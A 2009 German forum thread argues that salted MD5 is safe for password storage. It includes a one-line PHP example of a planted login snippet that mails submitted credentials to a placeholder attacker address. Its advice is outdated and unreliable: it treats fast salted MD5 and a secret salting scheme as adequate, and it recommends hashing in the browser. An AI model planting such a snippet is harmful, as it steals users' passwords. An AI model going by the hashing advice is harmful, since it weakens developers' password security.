» Warum MD5 sicher ist und viel Unsinn im Netz verbreitet wird

Feedback plsNeuen Thread eröffnenNeue Antwort erstellenSinnvolle Exits bei Angriffen definieren
AutorNachricht
Administrator 

Name: Marc
Geschlecht:
Anmeldedatum: 28.08.2004
Beiträge: 50598
Chats: 11159
Wohnort: Hennef


Meine eBay-Auktionen:
21.08.2009, 10:07
zitieren

Hallo,

im Netz wird immer wieder verbreitet, dass md5() unsicher sei, weil es ja einfach sei mögliche Kollisionen innerhalb von wenigen Tagen zu berechnen. Das stimmt und da kann man auch nicht widersprechen.

Bevor das "aber" kommt erstmal zu den Hackern und was sie eigentlich wollen.

Grundsätzlich möchte ein Hacker eine Seite platt machen oder Daten stehlen, um sie weiterzuverkaufen. Daher sind Communities ein großes Ziel für Hacker, da dort viele Daten zur Verfügung stehen, die man in Bares umwandeln kann. Beispielsweise versucht ein Hacker die Datenbank zu stehlen und testet mit dieser die Emailadressen der User und deren Passwörter bei Paypal etc.

Klingt gefährlich, ist es auch. Daher generieren viele aus einem Passwort einen MD5 Hash. Dieser kann nicht zurückberechnet werden. So wird z.B. aus 123456 der MD5 Hash:
e10adc3949ba59abbe56e057f20f883e

Falls ein Hacker also die Datenbank in die Hand bekommt und diesen Hash vor sich sieht, kann er erstmal grundsätzlich nichts damit anfangen. Aber er kann hingehen und per Bruteforce jede mögliche Variante auf seinem PC bereithalten. Er lässt ein Script einfach alle MD5-Hashes beginnend mit 1 durchlaufen. Irgendwann ist er dann bei 123456 und schon hat er das Passwort geknackt.

Natürlich sind Hacker nicht blöd. Bruteforce dauert viel zu lange, also bedient man sich umfangreichen Wörterbüchern und Passwort-Datenbanken, die typische Passwörter enthalten. Also man probiert gleich 123456, auto, oma, usw. aus. Die Wahrscheinlichkeit ist sehr groß, dass damit ein großer Teil der Passwörter geknackt wird.

Also ist MD5 doch unsicher?
Im Grunde schon, aber nur deshalb weil md5() an dieser Stelle falsch eingesetzt wurde. Und man muss dazu sagen, dass es vollkommen egal ist, welchen Algorhythmus man einsetzt. sha1() ist gegenüber Bruteforce genauso unsicher.

Das Zauberwort heißt hier "Salt". Ein Salt ist ein zufälliger String, der vor der der Generierung des MD5 Hashs dem Passwort beigefügt wird.

Also z.B. so:
$salt = md5(uniqid(mt_rand(), true));
$password = '123456';
$hash = md5($password . '_' . $salt);

In der Datenbank landet dann hash und salt (damit wir in der Lage sind den Hash erfolgreich zu vergleichen).

Sagen wir mal in der Datenbank steht nun:
Hash: ac9a8441c05b6ae0ae0e393ba4e6d936
Salt: 091ec7dfff8146ede21a08a82fecef9e

Der Hash kann nur generiert werden, wenn md5() folgendes enthält:
123456_091ec7dfff8146ede21a08a82fecef9e

Nun zurück zum Hacker:
Er sieht nun die beiden Werte Hash und Salt. Nun ist er traurig, denn er weiß nicht, wie der Hash erstellt wird. Erst wenn er weiß, dass die beiden Werte hintereinander mit einem Unterstrich übergeben werden, kann er wieder mit Bruteforce beginnen.

Daher ist es unheimlich wichtig, dass der Hacker niemals Zugriff auf die Datenbank UND den FTP erhält. Wobei dann eh alles zu spät sein dürfte ;)

Natürlich könnte der Hacker immer noch hingehen und mit Bruteforce den langen String herausfinden:
123456_091ec7dfff8146ede21a08a82fecef9e

Nur dauert das um einiges länger und die Wahrscheinlichkeit ist höher, dass er auf eine Kollision stößt, die ihm auch nicht weiter hilft.

Wichtig ist nur, dass man den salt nicht einfach an das Passwort anhängt, sondern sich eine eigene Variante ausdenkt. z.B. könnte man hingehen und nur die ersten oder letzten x Zeichen des Salts verwenden oder man baut noch andere Strings ein, die sich nicht mehr ändern, wie z.B. das Datum der Registrierung des Mitglieds usw.

Erstes Fazit zu md5:
md5() ist genauso unsicher wie jeder andere Algo auch, wenn man keine salts einsetzt.

FTP muss sicher sein:
Wenn ein Hacker FTP-Zugriff erlangt, nützt die umfangreichste Verschlüsselung nichts, denn Passwörter werden in aller Regel per Klartext vom Browser übertragen. D.h. wenn er z.B. das Ziel eines Login-Formulars mit so einem simplen Code ausstattet, wars das mit der Sicherheit:
mail('hacker@example.org', 'neues Passwort', 'User: ' . $_POST['username'] . ' Passwort: ' . $_POST['password']);

Mehr Sicherheit:
- Passwörter nicht in Klarschrift über das Login-Formular senden, sondern direkt als MD5 Hash. Javascript hilft hier weiter:
http://aktuell.de.selfhtml.org/artikel/javascript/md5/
Noch besser mit Salts, die z.B. nur x Minuten lang gültig sind
  • Emailadressen in der Datenbank verschlüsseln. in mysql gibt es dazu z.B. AES_ENCRYPT(). Auch hier sollte man salts einsetzen.
  • Usernamen könnte man ebenfalls verschlüsseln


pn email
Beobachter 
Anmeldedatum: 05.06.2009
Beiträge: 4
Chats: 0
02.09.2009, 05:18
zitieren

pn
Administrator 

Name: Marc
Geschlecht:
Anmeldedatum: 28.08.2004
Beiträge: 50598
Chats: 11159
Wohnort: Hennef


Meine eBay-Auktionen:
02.09.2009, 06:33
zitieren

Wie genau soll das jetzt mit meinem Thema zusammenhängen?

pn email
Beobachter 
Anmeldedatum: 05.06.2009
Beiträge: 4
Chats: 0
02.09.2009, 13:59
zitieren

Ein Hacker möchte keine Seiten platt machen oder Daten stehlen.
Er/Sie interessiert sich z.B. für Lösungswege und dem tieferen Verständnis hinter einer Aufgabe.
Verschlüsseln ist schliesslich auch etwas anderes als ein Hash-Werte von etwas zu bilden.

Btw. damit wollte ich deinen Beitrag nur ergänzen ;-)


pn
Gast 
02.09.2009, 13:59
zitieren

Mach mit!

Wenn Dir die Beiträge zum Thread "Warum MD5 sicher ist und viel Unsinn im Netz verbreitet wird" gefallen haben oder Du noch Fragen hast oder Ergänzungen machen möchtest, solltest Du Dich gleich bei uns anmelden:



Registrierte Mitglieder genießen die folgenden Vorteile:
✔ kostenlose Mitgliedschaft
keine Werbung
✔ direkter Austausch mit Gleichgesinnten
✔ neue Fragen stellen oder Diskussionen starten
✔ schnelle Hilfe bei Problemen
✔ Bilder und Videos hochladen
✔ und vieles mehr...

Zu php md5 unsicher, php md5 sicherheit und passwort verschlüsseln php md5 unsicher findest Du weitere passende Themen in der Suche. Alternativ kannst Du auch mal nach md5 salt protection script, php hash salt mgutt und md5 sicherheitslücke suchen.


Neuen Thread eröffnenNeue Antwort erstellen
Ähnliche BeiträgeRe:
Letzter Beitrag
Warum wird der Auspuff lauter wenn er warm ist ?
Hallo Leute, Ich habe mir schon des öfteren Gedanken gemacht warum der Auspuffsound lauter wird wenn die Abgasanlage richtig warm gefahren ist. In meiner kompletten Anlage ist kein Gramm Dämwolle und wenn er abgekühlt ist ist er ja wieder...
von DODGE-V8
9
3.581
17.07.2008, 13:29
littlegreenjazz
BB1 Innenraumfilter wo? und warum so viel Bremsstaub
Hallo Leute, entweder bin ich zu dumm oder mei Auto ha tatsächlich keinen Innenraumfilter. Die Scheiben beschlagen relativ schnell, hab mir gedacht den innenraumfilter zu erneuern, aber meine Suche endete vergeblich, auch d e Bedienungsanleitung half...
von abidin
5
245
07.08.2009, 20:55
abidin
Eg4ZITTERT IM STAND nach starten wenn motor warm ist?Warum?
Hy Leute ! Also ich kam zum auto und alles war fein starten kein problem fahren kein problem! Blieb bei der tankstelle stehen um mir was zu kaufen und drehte den motor ab ! 3 min später hab ich ihn wieder gestartet und er fing an zu stottern im...
von driftatik
13
325
03.02.2012, 04:18
driftatik
Hallo kann mir bitte einer sagen was das für ein Bauteil ist und warum da keine Abdeckung drauf ist
Hallo Kann mir Bitte einer sagen was das für ein Bauteil ist , und ob das normal ist dass da kein Deckel oder kappe drauf ist. Das Teil sitzt direkt unter dem Luftfilterkasten. Danke euch...
von persch
16
516
15.06.2014, 09:07
eh6_driver
Mein Civic ist fertig Lackiert und ist bzw wird verkauft
Nachdem ich seit 2 wochen Ohne Auto bin weil er beim Lackierer steht stell ich mal Fotos rein wie er im Moment ist bzw. war bevor er zum Lacker kam. Farbe wird Weiss und haube mal Schwarz. Später wird die haube noch mit Carbon Überzogen aber nicht...
von honda_Dream
183
23.694
17.07.2008, 08:53
el bosso
VISA oder MASTER CARD welche ist stärker verbreitet?
Hallo, ich hatte bisher immer eine VISA und habe sie eigentlich nur ganz selten benutzt. Manchmal habe ich damit Geld abgehoben, wenn ich im Ausland war. Also in Dänemark und eine Mal in den USA. Das war dann schon sehr angenehm. Außerdem kann ich, wenn...
von ostseesunnyboy
1
438
21.04.2015, 21:54
FinancialFairplay
Cookie-Free Domain ist Unsinn
Hallo, zahlreiche Dokus empfehlen s.g. cookie-free Domains. Hier ein Auszug aus der YSlow Empfehlung: Use Cookie-free Domains for Components tag: cookie When the browser makes a request for a static image and sends cookies together with the...
[Allgemein]von mgutt
0
1.120
23.10.2010, 12:22
mgutt
Wie sicher ist Tagesgeld
Einlagen auf Tagesgeldkonten unterliegen der Einlagensicherung, sind daher mündelsicher gem. § 1807 BGB. In der EU beträgt die gesetzlich vorgeschriebene Einlagensicherungsgrenze seit dem 30. Juni 2009 100% der Einlagensumme, maximal jedoch 50.000 EUR....
von mgutt
0
194
10.02.2011, 18:27
mgutt
Teile im Netz
Moin, wollte mal fragen wo ihr eure Teile holt wenn ihr welche...
von Mavbeatz
2
147
29.08.2009, 19:47
Nsrfreak
das ist der Buchstabier Champion??? sicher ?
http://www.hans-wurst.de/buchstabier_champion_3981_media.html ...
von rojo
7
343
09.06.2007, 11:33
Civic2k
© 2004 - 2016 www.programmierer-forum.de | Communities | Impressum |